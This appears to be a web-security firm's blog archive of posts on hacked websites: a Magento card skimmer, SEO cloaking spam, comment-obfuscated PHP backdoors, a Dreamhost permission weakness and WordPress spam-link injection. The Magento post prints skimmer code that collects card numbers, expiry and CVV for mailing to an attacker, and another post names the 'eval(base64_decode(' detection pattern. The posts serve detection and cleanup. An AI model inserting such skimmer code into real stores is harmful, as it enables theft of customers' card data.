Search This Blog
- 30 Percent of WordPress Plugins Haven’t Been Updated by Their Developers in Over Two Years
- Major African Bank Running Outdated and Very Insecure Version of Joomla
- Automatically Updating Plugins in WordPress
- Migrating From Joomla 1.5 Won’t Necessarily Clean Up a Hack
- Why Are The Developers of Revive Adserver Ignoring The Statistics Bug in Version 3.0.3?
Web Software Updates
WordPress VersionWe are running WordPress 3.9 and despite what many supposed "security experts" claim letting you know what version we are running does not make us less secure.
Did We Make a Mistake?While it seems to be acceptable for blogs discussing web security to contain numerous factual mistakes, we hold ourselves to a higher standard. We only write about things that we actually understand and only after we have double checked the information. So if you see a mistake in one of our posts please leave a comment on the post or contact us so that we can add a correction.
Category Archives: Website Hacked
On more than a few occasions we have been contacted by someone running a Magento store concerned that credit cards used on the store are getting compromised somehow. In some cases the person running the store is pretty sure it is happening because they tried using a brand new credit card on the store and shortly afterwards attempted charges for other things are made with the card, but they don’t know what could have caused the store to be compromised. In more than a few cases the person running the website has run a PCI scanner on the website and it has found nothing, so they are not sure what is going on. Since we have seen that in every instance so far the store was in fact compromised and with the same cause, we though it worth mentioning the source we have found in those cases. Keep in mind that there could be other causes for this as well.
What we have found is that the compromise of the credit cards through the store has been done by a hacker adding code to the file /app/code/core/Mage/Payment/Model/Method/Cc.php. Below is the code that we found on one website. In this case the first portion of code collects the various pieces of the credit card data and then in the second portion the credit card data is sent off to the email address firstname.lastname@example.org.
$owner = $info->getCcOwner();
$ccnumber = $info->getCcNumber();
$expmont = $info->getCcExpMonth();
$expyear = $info->getCcExpYear();
$issue = $info->getCcCid();
$today = date(“F j, Y, g:i a”);
$to = “email@example.com”;
$subject = “CC-example.com”;
$from = “CARDING-Fence”;
$headers = “From:” . $from;
We have seen various code added, so there isn’t one thing to look for. The easiest way to check for a modification is to download a fresh copy of the version of Magento being used on the website and then do a file comparison of the /app/code/core/Mage/Payment/Model/Method/Cc.php on the website with the version in fresh download to see if changes have been made.
If there is malicious code in that file removing the code should stop the credit card data from being compromised, but you will still need to take a number of other steps. We have found that in some cases other malicious code is added to the website, so anything else added will need to be removed either by removing the code or restoring the website to a clean backup copy. You also need to determine how the website was hacked and fix that, so the website doesn’t get re-hacked. If you don’t have the expertise to do those things we have a service for cleaning up hacked Magento stores. At that point you should also review if you are meeting the security requirement of your credit card processor and check what notification you may need to provide due to the breach.
When hacked websites are covered in the news it is usually due to information stored on the websites being compromised or malware being added to the website, but many websites are hacked for the less newsworthy goal of getting a top search result. We most often see this type of hack used to try get top search results for pharmaceutical related terms, hence this type of hack is often incorrectly labeled as being a pharma hack. We just ran into a set of websites hacked to reach the top search results for a very different item, UGG boots. The Huffington Post reported earlier this week that UGG boots are the fourth most most popular searched gift on Google Shopping, so it is easy to understand why this term would be targeted. In this case the hackers have been fairly successful in making it to the top of the results. Currently the eighth result for the search term for “UGG boots” in Google is one of the websites they have hacked:
At this point Google has detected that website in question has been hacked, but they haven’t removed it from the search results. To put that place in the results in perspective, major chains DICK’S Sporting Goods, Victoria Secret, and Bloomingdale’s all have their UGG Boot pages showing up on the second page of search results for the term.
Hackers also made it to the eight spot for the term “uggs” using another hacked website:
So how do the hackers gain top spots in the search results? The hackers use two sets of websites that they hacked. The first set are hacked to add links to pages on the second set of website. In the first set of websites HTML code full of links like this are added to the website:
Links are an important factor in how Google decide what pages to show in their search results, so if you can hack a lot of website and insert links to a web page you want to get in the top search results, you can make it happen.
The second set of websites are hacked to show Google content related to the search term instead of their usual content, which is referred to as cloaking. One of the websites in the links above is the website for the Virginia Department of Rail and Public Transportation and you can see the cloaking in action with it. If you do a search for their website right now on Google you will get this listing:
When hackers add malicious code to a website’s files they often obfuscate it in some way. A simple method looks like this:
This method isn’t very effective as a method to disguise the code as the code will stick out and it is easy enough to do a search through all the files on a website for eval(base64_decode( and similar functions that are used, find matching code, and then undo obfuscation to check for malicious code. We sometimes see other methods are more effective, but more often than not the less effective ones are used. One other method that we have been seeing used a lot recently is hiding the code among numerous comments. Because comments are ignored when code is executed, the additional code only impacts someone trying to review the code. Here is one example of malicious code hidden among comments:
It probably looks like a bunch of gibberish to you. But amongst the apparent gibberish is the malicious code (shown in bold):
When the comments are stripped out you can see the code by itself:
That code is a simple backdoor that will execute the code from the variable “jgkvo” when it is sent to a web page that the malicious code is in.
When we clean up a hacked website removing the hack is usually the easy part of the work, most of the time spent and needed expertise is used to determine how the website is hacked. Without doing this you leave the website vulnerable to being hacked and in some cases you leave many others vulnerable to also being hacked. Many companies that clean up hacked websites don’t do this or do it very poorly. In other cases people will just blame something without do any work to check if that actually was the cause, we recently discussed how Dreamhost does that.
In the past few weeks there have been ongoing series of hack on Dreamhost hosted websites. The characteristics of this particular hack are a directory named .logs created in the root of the website, a base64 encoded block of code added to PHP files, and the website sometimes redirecting to a .rr.nu domain name. When we went into clean up the first website with this hack the information we had indicated that it was likely due to a security vulnerability with Dreamhost. This would make it hard to determine the source of the hack as Dreamhost would be the only one with all of the necessary information to do that and web hosts have a history of not taking possibility of security issues in their systems seriously.
With the Dreamhost hack we almost immediately identified what appeared to be the source of the hack, but we needed a small but critical piece of information from Dreamhost to confirm the source. For two weeks Dreamhost has been stonewalling their customer’s requests for this information. Yesterday, Dreamhost posted something that, while showing they don’t understand the proper security of shared hosting and blaming their customers for that failure, confirmed that what we had suspected was correct. If Dreamhost had acted professionally and responded promptly to their customers in this situation this could have been resolved two weeks ago and many more websites would not been hacked. Even now Dreamhost is leaving most of their customers vulnerable to their security weakness; you can fix that for your account and please make sure to warn other Dreamhost customers to do so as well.
Whose File Is That?
Once we gain access to a hacked website’s files we do a thorough review of them using a number tools and methods. In this situation we almost immediately identified a file that seemed to be the root of the hack in the website and more importantly we noticed that the file was not owned by the client’s Dreamhost account. This file was not detected by the security scan run by Dreamhost on the website before we got to it (their scans also have a bad record of rather blatant false positives).
Our first thought was that the file’s owner might be different because it was created by software running on the website. In some setups those files are owned by a different user. We checked files that we knew were created by software on the website and they were owned by user’s account, so that was ruled out. This also meant that the file had not gotten there by a hacker exploiting a vulnerability in software on the website.
The next step was for our client to contact Dreamhost and find out who the file belonged to. The user could have been another user on the server, another Dreamhost user, or something belonging to software running on the server. We also asked them to see if Dreamhost would tell them how the file got there, but based on Dreamhost’s track record we assumed they would be unlikely to be able answer that. That client and subsequent clients have been contacting Dreamhost and asking them who the file belongs to in their accounts and so far Dreamhost has refused to give them any answer, despite sometimes repeated requests. Based on the timeline, it would appear that our information could have been being used by Dreamhost though.
Based on the usernames we were seeing we suspected that the other user was likely to be another Dreamhost user, probably on the same shared server, but we needed Dreamhost to confirm this to know for sure. We can’t think of any reason they wouldn’t tell their customers whose files it is, when it is showing up in their account. If Dreamhost had just given this basic information this issue could have been fixed then instead of this continuing on.
That is Not Enhanced User Security
How could one user add files to another user’s account? One possibility is that there was a vulnerability in some software on the server that allowed it to happen. Another possibility is that Dreamhost doesn’t properly handle permissions on their servers. In a shared hosting setup users should never be able to access other user’s files or directories no matter the permission the user sets on those files and directories. Web hosts that improperly handled permissions in the past have led to major hacks, so a web host has no excuse for not knowing that this needs to be done and they would be grossly negligent if they were not doing it. We have long warned that a web host needs to handle permissions properly to keep websites secure from likely hacks.
While looking for something else we found that Dreamhost has a feature they call Enhanced User Security.
The documentation for the feature says that when enabled:
- The user and his scripts have the same access to the home directory as when the option is disabled.
- Other users on the same account have limited access to your home directory (as other Dreamhost users do when Enhanced User Security is disabled, above).
- Other Dreamhost users no longer have any access to your home directory. They cannot enter your home directory or subdirectories or access any files, no matter how lax the permissions are set. Note: The Apache user is in the group ‘adm’, and thus still has access to the home directory.
The documentation for the feature says that when disabled:
- The user has full read/write access to his own home directory, as do user scripts (such as PHP) which run as the user, by using suEXEC.
- Other users on the same account also have full read/write access to the home directory, except that they may not rename, delete or create files or directories. However, they may perform these actions in sub-directories that have group +w permission (e.g. rwxrwx–x or 771).
- Other Dreamhost users have some limited access to your home directory. They may not read the list of filenames in the home directory, and may not rename, delete or create files or directories. However, they can read any other file or directory listing which is accessible to the web server, assuming they know the path and filename or can guess. They may also read, and possibly write or modify, any file or directory which has too lax permissions set (e.g. 755 or 777).
They can call that Enhanced User Security if they want, but what that features really provides is the basic level of security a web host should be providing. If this was enabled by default, as the documentation claims, then it would only be a concern if somebody were to accidentally disable the feature. Unfortunately, the claim that the feature is enabled by default is mostly false. The history of the documentation shows that the documentation was changed to claim that the feature is enabled by default on March 1, 2012. In the accounts we checked the feature was not enabled by default and the blog post says it ” is now on by default for all new users”. It unconscionable that Dreamhost would leave their existing customers vulnerable to this. Dreamhost should immediately enable feature this in all the accounts.
With Dreamhost’s improper permission handling hackers that had access to one account on a Dreamhost server could gain access to any account that had a directory with more permissive permissions that they could find on that server. We have seen indications that hackers have had access to Dreamhost accounts that could, in hindsight, have been due to this issue for some time. What appears to have happened now is that hacker(s) have become more aggressive in exploiting this or found a way to more easily identify more directories that were vulnerable due to Dreamhost’s negligence. It could be that additional information was gathered by them during the recent, acknowledged, hack of Dreamhost’s systems.
Enabling “Enhanced User Security”
To enable Enhanced User Security log in into your Dreamhost account, click the “Manage Users” link in the left hand menu, click the “Edit” link next to the account, on the next page check the “Enhanced security?” box and finally click the “Save Changes” button.
Dreamhost Doesn’t Care About Security
Just based on what has happened in this case we would say that it is pretty clear that Dreamhost doesn’t care about security and you should avoid them, but Dreamhost has a track record of ignoring glaring security issues. It was only after another recent hack of their systems, which exposed their user information, that they appear to have finally taken the step of hashing passwords despite being warned about that for years. They have also shown that they ignore the security advice they give to others when it comes to their own website. By continuing to use their service you are not only continue to put your website at risk, but you are supporting a company that puts many others at risk as well.
We also have to question why WordPress continues to list Dreamhost as a recommend web host. At least in the past, they emphasized the web host’s responsibility when it comes to permissions:
A properly configured web server will not allow users to access the files of another user, regardless of file permissions. The web server is the responsibility of the hosting provider. The methods for doing this (suexec, et al) have been around for 5+ years.
There has recently been a lot of discussion about a hack that added spam links, primarily to basicpills.com, into the databases of WordPress based websites. These spam links are then included in some of the pages generated by WordPress in the website. What we have not seen explained so far is how the hack has been occurring. Determining the source is essential to cleaning up the website, otherwise you leave the website vulnerable to being rehacked. If we had cleaned up a website with the issue we would have worked on determining that for our client and we would expect that any companies cleaning up websites would have done the same but unfortunately they often don’t.
So far we have not had any clients with the issue, but several days ago we did clean up a website that appears to have been used to place those spam links into websites at a different web host. Among the files we found a file containing a listing of the database host, database username, database login, database name, database prefix, and the addresses for quite a few WordPress based websites. We contacted the host to alert them to what we had found and to inquire into the source of the issue.
What we have been told is the web server itself had been exploited and not individual websites, they are still in the process of determining what exactly allowed this exploit. So the issue is not caused by an issue with WordPress or an individual user’s computer. Once the web server is exploited it is possible to read the wp-config.php file, which stores the database information that WordPress uses, in user’s accounts and access their databases to add the spam links. Because the web server is exploited the file permissions of wp-config.php do not have an effect on whether it can be read or not.
If have been dealing with this issue let your host know that the server has been exploited. If they refuse to acknowledge they have an issue and fix it, it is time to find a new host. If you looking for a new host, we provide some information on what ask a hosting provider to determine if they handle security properly here and a list of providers we have found to have security issues here.
If any hosting provider would like to see about sharing information on the issue with the host we have been in contact with, please contact us and we will pass along their information.